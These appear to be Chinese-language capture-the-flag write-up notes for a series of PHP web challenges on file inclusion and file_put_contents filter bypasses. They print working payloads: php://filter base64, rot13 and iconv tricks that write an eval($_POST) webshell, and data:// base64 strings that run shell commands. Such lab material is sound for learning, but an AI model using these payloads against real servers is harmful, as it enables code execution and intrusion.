web78
web79
web80
web81
web82
web83
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
在程序前销毁session的全部变量 以及全部数据 没影响 我们直接加入cookie服务器识别出来存在session id后自动就初始化session了 同web82一样
web84
web85
web86
web87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
参考p神文章
file_put_content和死亡·杂糅代码之缘
方法一使用 过滤器中的base64 解码绕过 将死亡函数进行解码 变为非法字符
file=php://filter/write=convert.base64-decode/resource=hello.php
在base64解码中 每四个字符为一组解码为三个字符 并且只有字母为解码的字符 phpdie为6个 需要在$content前任意添加两个字符
content=abPD8gcGhwaW5mbygpOz8+
将file参数的值进行url全编码使用bp
从浏览器到服务器 他会自动进行一次解码 为什么要两次编码呢?两点 第一点本身写文件的时候他会解码一次 第二点在过滤的时候 如果不进行二次url编码 他会把关键词换成问好 这两点同时满足 这样两次url编码就可以了
验证成功 同理 换content的值即可得到flag
方法二使用 过滤器中的rot13 编码绕过 解码绕过 将死亡函数进行解码 变为非法字符
和base64同理
现将payload进行rot13编码
file=php://filter/write=string.rot13/resource=hello2.php
concent=<?cuc cucvasb();?>
死亡代码<?php die('大佬别秀了');?>已经被解码为<?cuc qvr('大佬别秀了');?>
这里有个问题如果服务器开启了可以使用短标签那么服务器就会解析该短标签了 我们的payload就不会被执行了 就不能使用这种方法了 因为该解码方式不会解码<?等符号 并且会原封不动的写入到文件中
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
使用data伪协议
因为过滤了 php那就使用base编码 有的时候如果base编码后出现= 或者 +号 也会被过滤掉 在后方加入1来混淆
比如
<?php echo `ls`?>和<?php system('ls'); ?> 一个意思
?file=data://text/plain;base64,PD9waHAgZWNobyBgbHNgPz4xMTEx
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk/PjEx
web116
开局一个视频 无法查看源码 下载视频 使用010打开 搜索各种文件的标头标识 发现 存在PNG文件
PNG图片以IEND结尾 复制粘贴到新建十六进制文件 另存1.PNG
打开图片后
源码文件的意思就是读取一个文件 输出到浏览器中
在浏览器中虽然不能右键查看源码 但是可以使用view-source:
那就读取 flag.php(只能一个一个尝试)
web117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
不能使用base64和rot13解码绕过了 把一句话木马从UCS-2LE
编码转换为UCS-2BE
编码。
其实关键的不是两种编码方式(这两个编码方式可以换位置) 这两种编码方式都是一样的 不会改变任何字符 关键的是iconv这个函数 他可以进行两个字符反转一次(切记 需反转的字符必须是2的整数倍 否则报错,如果报错可以通过修改密码 增加字符 或者在后面再加上任意一个字符 反正服务器也不解析)
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[aa]);?>');
echo "payload:".$result."\n";
?>
#?<hp pe@av(l_$OPTSa[]a;)>?
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hello.php
contents=?<hp pe@av(l_$OPTSa[]a;)>?